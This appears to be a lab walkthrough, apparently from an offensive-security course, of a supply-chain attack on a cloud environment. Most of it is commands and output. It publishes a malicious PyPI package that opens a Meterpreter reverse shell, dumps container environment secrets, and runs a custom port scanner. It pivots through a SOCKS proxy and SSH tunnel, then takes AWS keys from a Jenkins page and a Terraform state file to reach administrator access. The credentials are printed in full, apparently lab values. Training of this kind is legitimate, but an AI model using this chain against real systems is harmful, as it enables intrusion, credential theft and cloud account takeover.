msf6 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 4488
LPORT => 4488
msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf6 exploit(multi/handler) > run -jz
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4488
Uninstalling, rebuilding, reinstalling, and importing the hackshort-util package:
kali@kali:~/hackshort-util$ pip uninstall hackshort-util
...
kali@kali:~/hackshort-util$ python3 ./setup.py sdist
...
kali@kali:~/hackshort-util$ pip install ./dist/hackshort-util-1.1.4.tar.gz
...
kali@kali:~/hackshort-util$ python3
Python 3.11.2 [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from hackshort_util import utils
>>>
Capturing the reverse shell:
msf6 exploit(multi/handler) >
[*] Sending stage (24772 bytes) to 233.252.50.125
[*] Meterpreter session 1 opened (10.0.1.87:4488 -> 233.252.50.125:52342)
Closing the Meterpreter Session:
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 233.252.50.125 - Meterpreter session 1 closed. Reason: Died
Publishing Our Malicious Package
Configuring ~/.pypirc file to add server URL and login credentials:
kali@kali:~/hackshort-util$ nano ~/.pypirc
kali@kali:~/hackshort-util$ cat ~/.pypirc
[distutils]
index-servers =
offseclab
[offseclab]
repository: http://pypi.offseclab.io/
username: student
password: password
Uploading our malicious package to offseclab repository:
kali@kali:~/hackshort-util$ python3 setup.py sdist upload -r offseclab
...
Submitting dist/hackshort-util-1.1.4.tar.gz to http://pypi.offseclab.io/
Server response (200): OK
If a bad package was uploaded and we need to remove it, we can run the following command: curl -u "student:password" --form ":action=remove_pkg" --form "name=hackshort-util" --form "version=1.1.4" http://pypi.offseclab.io/
Obtaining a reverse shell after publishing our malicious package to pypi.offseclab.io PyPI server:
msf6 exploit(multi/handler) >
[*] Sending stage (24772 bytes) to 44.211.221.172
[*] Meterpreter session 2 opened (10.0.1.54:4488 -> 44.211.221.172:37604)
Compromising the Environment
Enumerating the Production Container
Interacting with the new session:
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter python/linux root @ 6699d104d6c5 10.0.1.54:4488 -> 198.18.53.73:37604 (172.18.0.4)
msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
Reviewing network interfaces:
meterpreter > ifconfig
Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP LOOPBACK RUNNING
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 41
============
Name : eth1
Hardware MAC : 02:42:ac:1e:00:03
MTU : 1500
Flags : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.30.0.3
IPv4 Netmask : 255.255.0.0
Interface 43
============
Name : eth0
Hardware MAC : 02:42:ac:12:00:04
MTU : 1500
Flags : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.18.0.4
IPv4 Netmask : 255.255.0.0
Checking user and current directory:
meterpreter > shell
whoami
root
ls -alh
total 32K
drwxr-xr-x 1 root root 17 Jul 6 16:25 .
drwxr-xr-x 1 root root 40 Jul 6 16:42 ..
drwxr-xr-x 8 root root 162 Jul 6 16:41 .git
-rw-r--r-- 1 root root 199 Jul 6 16:25 Dockerfile
-rw-r--r-- 1 root root 15K Jul 6 16:25 README.md
drwxr-xr-x 1 root root 52 Jul 6 16:42 app
-rw-r--r-- 1 root root 167 Jul 6 16:25 pip.conf
-rw-r--r-- 1 root root 196 Jul 6 16:25 requirements.txt
-rw-r--r-- 1 root root 123 Jul 6 16:25 run.py
Reviewing mounts:
mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/XSUOTVCMJALCFZC3RDKUMDRFT7:/var/lib/docker/overlay2/l/GZ2WZHEOX36F3NXSO3JL4BYD6L:/var/lib/docker/overlay2/l/HVQUSP32SJWVAJ3KOL2QASE4W3:/var/lib/docker/overlay2/l/HE7JGACHWIPRNCT54LBN6AXOZP:/var/lib/docker/overlay2/l/ESRP43XML3BVETNT2Z7I3N2JU4:/var/lib/docker/overlay2/l/KP435SVPCD3NIUYPJPVAREWOOZ:/var/lib/docker/overlay2/l/72FQOR2NP3DWJJSQEXIRCSYJLG:/var/lib/docker/overlay2/l/XGHOLK75NEJNWWWX6CXQOTPRVX:/var/lib/docker/overlay2/l/FYRGADRJGMIS5XK5SBKPLCX6BG:/var/lib/docker/overlay2/l/Z2X5KHFJNPU35ZKBGAHJUEZT3I:/var/lib/docker/overlay2/l/5QTAPW6XADCCWCTAVASPNQT7A4:/var/lib/docker/overlay2/l/35PKZCCO3U4ARBXXGICO35VEMU:/var/lib/docker/overlay2/l/J5J2DCSN4XC4G5HJ6VLPEB3KJL:/var/lib/docker/overlay2/l/D3NHOQ5FM57FMMCEBAT575CAVI:/var/lib/docker/overlay2/l/4BJ4Q3NJFA6VRGPHR4GYYFAB4T,upperdir=/var/lib/docker/overlay2/b95da9be18e4db9ea42697d255af877c65d441522e0f02f8a628239709573bfc/diff,workdir=/var/lib/docker/overlay2/b95da9be18e4db9ea42697d255af877c65d441522e0f02f8a628239709573bfc/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
...
Reviewing environment variables:
printenv
HOSTNAME=6699d104d6c5
SECRET_KEY=asdfasdfasdfasdf
PYTHON_PIP_VERSION=22.3.1
HOME=/root
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
ADMIN_PASSWORD=password
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
SQLALCHEMY_TRACK_MODIFICATIONS=False
PYTHON_VERSION=3.11.2
PYTHON_SETUPTOOLS_VERSION=65.5.1
PWD=/app
PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637
SQLALCHEMY_DATABASE_URI=sqlite:////data/data.db
ADMIN_USERNAME=admin
Closed and reopened meterpreter sessions:
[*] 172.18.0.4 - Meterpreter session 2 closed. Reason: Died
[*] Sending stage (24772 bytes) to 198.18.53.73
[*] Meterpreter session 3 opened (10.0.1.54:4488 -> 198.18.53.73:60146)
msf6 exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...
meterpreter >
Scanning the Network
Creating a python script for port scanning:
kali@kali:~$ nano netscan.py
kali@kali:~$ cat -n netscan.py
01 import socket
02 import ipaddress
03 import sys
04
05 def port_scan(ip_range, ports):
06 for ip in ip_range:
07 print(f"Scanning {ip}")
08 for port in ports:
09 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10 sock.settimeout(.2)
11 result = sock.connect_ex((str(ip), port))
12 if result == 0:
13 print(f"Port {port} is open on {ip}")
14 sock.close()
15
16 ip_range = ipaddress.IPv4Network(sys.argv[1], strict=False)
17 ports = [80, 443, 8080] # List of ports to scan
18
19 port_scan(ip_range, ports)
Transferring netscan.py to cloud kali instance:
kali@kali:~$ scp ./netscan.py kali@34.203.75.99:/home/kali/
kali@34.203.75.99's password:
netscan.py 100% 462 2.0KB/s 00:00
Uploading netscan.py to the target:
meterpreter > upload /home/kali/netscan.py /netscan.py
[*] Uploading : /home/kali/netscan.py -> /netscan.py
[*] Uploaded 559.00 B of 559.00 B (100.0%): /home/kali/netscan.py -> /netscan.py
[*] Completed : /home/kali/netscan.py -> /netscan.py
Reminding ourselves o fthe network ranges we're targeting:
meterpreter > ifconfig
Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP LOOPBACK RUNNING
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 65
============
Name : eth0
Hardware MAC : 02:42:ac:12:00:04
MTU : 1500
Flags : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.18.0.4
IPv4 Netmask : 255.255.0.0
Interface 67
============
Name : eth1
Hardware MAC : 02:42:ac:1e:00:03
MTU : 1500
Flags : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.30.0.3
IPv4 Netmask : 255.255.0.0
Port scanning 172.18.0.1/24 to shorten the scan time rather than /16:
meterpreter > shell
Process 17 created.
Channel 4 created.
python /netscan.py 172.18.0.1/24
Scanning 172.18.0.0
Scanning 172.18.0.1
Port 80 is open on 172.18.0.1
Scanning 172.18.0.2
Port 80 is open on 172.18.0.2
Scanning 172.18.0.3
Port 80 is open on 172.18.0.3
Scanning 172.18.0.4
Scanning 172.18.0.5
Port 80 is open on 172.18.0.5
Scanning 172.18.0.6
...
When you run netscan.py, it might seem that the shell is frozen. This is normal while the script runs. Give it a few minutes, and it should become responsive and display the output of the scan.
Using curl to fingerprint services:
curl -vv 172.18.0.1
...
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Caddy
< Content-Length: 0
...
curl -vv 172.18.0.2
...
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Caddy
< Content-Length: 0
...
Port scanning on 172.30.0.1/24 for the same reason:
python /netscan.py 172.30.0.1/24
Scanning 172.30.0.0
Scanning 172.30.0.1
Port 80 is open on 172.30.0.1
Scanning 172.30.0.2
...
Scanning 172.30.0.10
Port 80 is open on 172.30.0.10
Scanning 172.30.0.11
...
Scanning 172.30.0.30
Port 8080 is open on 172.30.0.30
Scanning 172.30.0.31
...
Scanning 172.30.0.50
Port 8080 is open on 172.30.0.50
Scanning 172.30.0.51
...
Scanning 172.30.0.60
Port 8080 is open on 172.30.0.60
Scanning 172.30.0.61
...
Discovered the Jenkins Service while running curl on specific endpoins:
curl 172.30.0.30:8080/
...
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2F'/><script>window.location.replace('/login?from=%2F');</script></head><body style='background-color:white; color:white;'>
...
curl 172.30.0.30:8080/login
...
<!DOCTYPE html><html lang="en"><head resURL="/static/dd8fdc36" data-rooturl="" data-resurl="/static/dd8fdc36" data-imagesurl="/static/dd8fdc36/images"><title>Sign in [Jenkins]</title><meta name="ROBOTS" content="NOFOLLOW"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="/static/dd8fdc36/jsbundles/simple-page.css" type="text/css"></head><body><div class="simple-page" role="main"><div class="modal login"><div id="loginIntroDefault"><div class="logo"><img src="/static/dd8fdc36/images/svgs/logo.svg" alt="Jenkins logo"></div><h1>Welcome to Jenkins!</h1></div><form method="post" name="login" action="j_spring_security_check"><p class="signupTag simple-page--description">Please sign in below or <a href="signup">create an account</a>.<div class="jenkins-form-item jenkins-form-item--tight"><input autocorrect="off" autocomplete="off" name="j_username" id="j_username" placeholder="Username" type="text" autofocus="autofocus" class="jenkins-input normal" autocapitalize="off" aria-label="Username"></div><div class="jenkins-form-item jenkins-form-item--tight"><input name="j_password" placeholder="Password" type="password" class="jenkins-input normal" aria-label="Password"></div><div class="jenkins-checkbox jenkins-form-item jenkins-form-item--tight jenkins-!-margin-bottom-3"><input type="checkbox" id="remember_me" name="remember_me"><label for="remember_me">Keep me signed in</label></div><input name="from" type="hidden"><div class="submit"><button type="submit" name="Submit" class="jenkins-button jenkins-button--primary">Sign in</button></div></form><div class="footer"></div></div></div></body></html>
Loading Jenkins
Exiting shell and sending session to background:
exit
[-] core_channel_interact: Operation failed: Unknown error
meterpreter > background
[*] Backgrounding session 1...
Using SOCKS proxy module and running it:
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf6 auxiliary(server/socks_proxy) > run -j
[*] Auxiliary module running as background job 1.
Creating a route:
msf6 exploit(server/socks_proxy) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter python/linux root @ 6699d104d6c5 10.0.1.54:4488 -> 198.18.53.73:37604 (172.18.0.4)
msf6 auxiliary(server/socks_proxy) > route add 172.30.0.1 255.255.0.0 2
Creating local forward ssh tunnel:
kali@kali:~$ ssh -fN -L localhost:1080:localhost:1080 kali@192.88.99.76
kali@192.88.99.76's password:
kali@kali:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 128 127.0.0.1:1080 0.0.0.0:* users:(("ssh",pid=75991,fd=5))
tcp LISTEN 0 128 [::1]:1080 [::]:* users:(("ssh",pid=75991,fd=4))
Setup firefox proxy to SOCK5 to 127.0.0.1 on port 1080 or a FoxyProxy profile for SOCKS5 to 127.0.0.1 on port 1080.
Exploiting Jenkins
Finding the AWS key in Source:
...<div id="page-wrapper" ng-controller="SettingsController"></div></div><input id="awsregion" type="hidden" value="us-east-1"><input id="awsid" type="hidden" value="AKIAUBHUBEGIMWGUDSWQ"><input id="awskey" type="hidden" value="e7pRWvsGgTyB8UHNXilvCZdC9xZPA8oF3KtUwaJ5"><input id="bucket" type="hidden" value="company-directory-9b58rezp3vvkf90f"></div></div><footer class="page-footer"><div class="container-fluid"><div class="page-footer__flex-row"><div class="page-footer__footer-id-placeholder" id="footer"></div><div class="page-footer__links page-footer__links--white jenkins_ver"><a rel="noopener noreferrer" href="https://www.jenkins.io/" target="_blank">Jenkins 2.385</a></div></div></div></footer></body></html><script src="http://automation.offseclab.io/plugin/s3explorer/js/s3explorer.js"></script>
Enumerating with Discovered Credentials
Configuring a profile with our discovered AWS credentials:
kali@kali:~$ aws configure --profile=stolen-s3
AWS Access Key ID [None]: AKIAUBHUBEGIMWGUDSWQ
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:
Getting the Account ID and User Name:
kali@kali:~$ aws --profile=stolen-s3 sts get-caller-identity
{
"UserId": "AIDAUBHUBEGIFYDAVQPLB",
"Account": "347537569308",
"Arn": "arn:aws:iam::277537169808:user/s3_explorer"
}
Listing S3 bucket for Company Directory:
kali@kali:~$ aws --profile=stolen-s3 s3 ls company-directory-9b58rezp3vvkf90f
2023-07-06 13:49:19 117 Alen.I.vcf
2023-07-06 13:49:19 118 Goran.B.vcf
2023-07-06 13:49:19 117 Zeljko.B.vcf
Listing all Buckets from stolen-s3 account:
kali@kali:~$ aws --profile=stolen-s3 s3api list-buckets
{
"Buckets": [
{
"Name": "company-directory-9b58rezp3vvkf90f",
"CreationDate": "2023-07-06T16:21:16+00:00"
},
{
"Name": "tf-state-9b58rezp3vvkf90f",
"CreationDate": "2023-07-06T16:21:16+00:00"
}
]
...
}
The prefix "tf" in cloud environments often refers to Terraform, and a Terraform state often refers to the file that is used to store the current configuration, including potential secrets.
Discovering the State File and Escalating to Admin
Listing the Terraform State Bucket:
kali@kali:~$ aws --profile=stolen-s3 s3 ls tf-state-9b58rezp3vvkf90f
2023-07-06 12:19:16 6731 terraform.tfstate
Copying Terraform State File to our local Kali machine:
kali@kali:~$ aws --profile=stolen-s3 s3 cp s3://tf-state-9b58rezp3vvkf90f/terraform.tfstate ./
download: s3://tf-state-9b58rezp3vvkf90f/terraform.tfstate to ./terraform.tfstate
Reviewing State File - Users:
kali@kali:~$ cat -n terraform.tfstate
001 {
...
007 "user_list": {
008 "value": [
009 {
010 "email": "Goran.Bregovic@offseclab.io",
011 "name": "Goran.B",
012 "phone": "+1 555-123-4567",
013 "policy": "arn:aws:iam::aws:policy/AdministratorAccess"
014 },
015 {
016 "email": "Zeljko.Bebek@offseclab.io",
017 "name": "Zeljko.B",
018 "phone": "+1 555-123-4568",
019 "policy": "arn:aws:iam::aws:policy/ReadOnlyAccess"
020 },
021 {
022 "email": "Alen.Islamovic@offseclab.io",
023 "name": "Alen.I",
024 "phone": "+1 555-123-4569",
025 "policy": "arn:aws:iam::aws:policy/ReadOnlyAccess"
026 }
027 ],
...
041 },
Reviewing State File - Keys:
042 "resources": [
043 {
...
049 {
050 "index_key": "Alen.I",
051 "schema_version": 0,
052 "attributes": {
...
056 "id": "AKIAUBHUBEGIKIZJ7OEI",
...
059 "secret": "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",
...
063 },
...
069 },
070 {
071 "index_key": "Goran.B",
072 "schema_version": 0,
073 "attributes": {
...
077 "id": "AKIAUBHUBEGIGZN3IP46",
...
080 "secret": "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",
...
084 },
...
090 },
...
Configuring Goran.B Profile using AWS CLI:
kali@kali:~$ aws configure --profile=goran.b
AWS Access Key ID [None]: AKIAUBHUBEGIGZN3IP46
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:
Listing attached user policies with Goran.B profile:
kali@kali:~$ aws --profile=goran.b iam list-attached-user-policies --user-name goran.b
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
]
}
Last updated